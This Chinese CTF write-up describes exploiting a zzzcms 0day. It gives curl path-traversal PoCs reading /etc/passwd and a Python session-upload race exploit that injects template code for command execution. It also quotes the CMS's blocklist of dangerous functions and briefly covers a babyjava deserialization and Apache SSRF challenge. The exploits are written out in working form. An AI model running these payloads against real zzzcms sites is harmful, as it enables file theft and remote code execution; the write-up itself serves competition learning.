这次鸽了快两年的XCTF高校挑战赛和TCTF冲了,于是一边当客服一边打比赛(雾
最后小伙伴们AK夺冠,tql!!

zzzcms 0day

国内出CMS题和zzzcms过不去了是吧,天天出前台RCE,下次我也整一个(手动滑稽)……
这次是最新版,我们先来看看历史漏洞的修复情况:

1.7.5/2.1.0前台RCE

更多绕过过滤的变种就不看了,这两个洞需要控制 /search 的keys参数渲染模板,在最新版中参数需要通过一个 safe_key 函数:

1
2
3
4
5
6
7
8
// 安全过滤字符串,仅仅保留 [汉字、数字、字母及=<>,_/],最长255字符
function safe_key( $s , $len=255) {
$s = decode(is_array($s) ? @implode(",",$s) : $s);
preg_match_all('/[\x{4e00}-\x{9fa5}a-zA-Z0-9<>,.:=@?_\-\/\s]/u',$s,$result);
$temp =join('',$result[0]);
$s = substr( $temp, 0, $len );
return $s;
}

正如注释说的,只保留了部分字符且不包含 {,所以直接注入模板参数的方法都失效了。

但是根据writeupeval 函数触发点之前的过滤依然通过 danger_key,并且假设我们能通过某种方式绕过 safe_key,反引号依然能够执行系统命令(需要绕过黑名单)。
本地测试可以通过在 inc/zzz_template.php 24行 parserIfLabel 之前手动修改 $zcontent 查看效果。

任意文件读取

因为不存在 {,没办法通过 /search 传入参数了,不过根据历史漏洞这个点出问题的情况非常多,我估摸着这次还是和这个有关23333。于是乎追了下整个的流程,意外发现了一个文件读取。

首先当访问 /search/ 的时候 search/index.php 会require inc/zzz_client.php,并且设置 LOCATION 为search。
接下来在 zzz_client.php 里面有一个switch对location的情况做处理,对于search:

1
2
3
4
case 'search':
$template=getform('template','post');
$tplfile= $template ? TPL_DIR. $template : TPL_DIR . 'search.html';
break;

然后在后面会通过一个 load_file 函数加载 $tplfile 的内容,处理内容中的模板参数然后输出。这里 load_file 函数是没有任何过滤的,而 $template 参数可控,于是乎我们就可以通过目录穿越读取到任意文件了!

一个小限制是 getform 最后会经过一个 txt_html 函数过滤,因此无法直接读取php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function txt_html( $s ) {    
if ( !$s ) return $s;
if ( is_array( $s ) ) { // 数组处理
foreach ( $s as $key => $value ) {
$string[ $key ] = txt_html( $value );
}
} else {
$s = trim( $s );
//array("'"=>"&apos;",'"'=>"&quot;",'<'=> "&lt;",'>'=> "&gt;");
$s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );
$s = str_replace( "\t", ' &nbsp; &nbsp; &nbsp; &nbsp;', $s );
$s = preg_replace('/script/i', 'scr1pt', $s );
$s = preg_replace('/document/i', 'd0cument', $s );
$s = preg_replace('/\.php/i', '.php', $s );
$s = preg_replace('/ascii/i', 'asc11', $s );
$s = preg_replace('/eval/i' , 'eva1', $s );
$s = str_replace( array("base64_decode", "assert", " "), "", $s );
$s = str_replace( array("\r\n","\n"), "<br/>", $s );
}
return $s;
}

PoC:

1
curl -d "template=../../../../../../../../etc/passwd" -X POST http://localhost/search/

文件上传与LFI

试着包含了下flag,果然不行,应该是出题人弄了个猜不到的文件名。不过上面这个文件读取还兼有一个类似于LFI的功能,如果我们能控制服务器上任意一个文件的部分内容,就可以插入模板代码从而绕过过滤回到历史漏洞上去。

前台没有上传点,不过我们可以利用 SESSION_UPLOAD_PROGRESS 来上传临时文件,这篇文章说的很详细了。
值得注意的是默认配置下这个配置是开启的,并且用户可以指定session文件名。改一下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import io
import sys
import threading
from time import sleep

import requests

sessid = 'fuckyou'
url = 'http://localhost'
exp = "{if:phpinfo()=}{end if}"


def POST():
while True:
f = io.BytesIO(b'a' * 1024 * 50)
requests.post(
f'{url}/inc/zzz_version.php',
data={
"PHP_SESSION_UPLOAD_PROGRESS": exp},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def READ():
while True:
response = requests.post(f'{url}/search/',
data={"template": f"../../../../../../../../tmp/sess_{sessid}"})
# print(len(response.text))
if len(response.text) == 0:
print('+', end='', flush=True)
else:
with open('1.html', 'wb') as f:
f.write(response.content)
print("OK!!")
sys.exit(0)


t1 = threading.Thread(target=POST)
t1.daemon = True
t1.start()

sleep(1)
READ()

竞争一会就能成功执行phpinfo。

服务器上的临时文件目录是 /var/lib/php/sessions/,可以猜常用位置

getflag

一通操作之后我们可以执行命令了,但是在 parserIfLabel 里参数还需要经过一个 danger_key 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function danger_key($s,$type=0) {
if($type==1){
$s= htmlspecialchars($s);
$s =preg_replace('/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F]/','',$s);
$s =preg_replace("/&(?!(#[0-9]+|[a-z]+);)/si",'&',$s);
$s =str_replace( array("php","\0", "%00", "\r","<", ">","'", '"', "{","}", "%3"), '', $s);
}
$str= $s;
$danger=array('preg','server','chr','decode','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ascii','print','echo','base_','replace','_map','_dump','_array','regexp','select','dbpre','zzz_','{if','curl');
foreach ($danger as $val){
if(strpos($str,$val) !==false){
error('很抱歉,执行出错,系统限制使用【'.$val.'】,请点击返回重新操作,如此问题为误报,请联系管理员');
}
}
return $s;
}

不知道出题人有没有加过滤,但是直接getshell还是挺难的,不过我们或许并不需要完全的shell。可以通过反引号执行 ls / > /tmp/123 然后结合任意文件读取我们就能获得flag文件名,好在没有 readflag 直接读flag就可以啦~
exp:

1
2
curl -d "template=../../../../../../../../tmp/123" -X POST http://target/search/
curl -d "template=../../../../../../../../flaaaaaaggggggggggg" -X POST http://target/search/

搞了这么多乱七八糟的过滤还是不行啊hhh。

babyjava

这个题比较恶心,通过 https://github.com/artsploit/yaml-payload 反序列化拿到shell,扫了下发现有个内网web,接着扫站有个 www.zip 给了apache配置:

1
2
3
4
5
6
7
+<VirtualHost *:80>
+ ServerName localhost
+ DocumentRoot "/usr/local/apache2/htdocs"
+
+ ProxyPass /aaa "http://localhost:8000/"
+ ProxyPassReverse /aaa "http://localhost:8000/"
+</VirtualHost>

版本是2.4.41,应该是一个ssrf或者走私之类的,可以看p牛的CVE-2021-40438文章

不过我们的环境似乎有问题,打什么都是大概率503或小概率主页,演示环境反而成功率很高基本不会503……
扫了半天被503恶心到了,开摆!赛后问了下是打docker,可是我啥都是503打个锤子……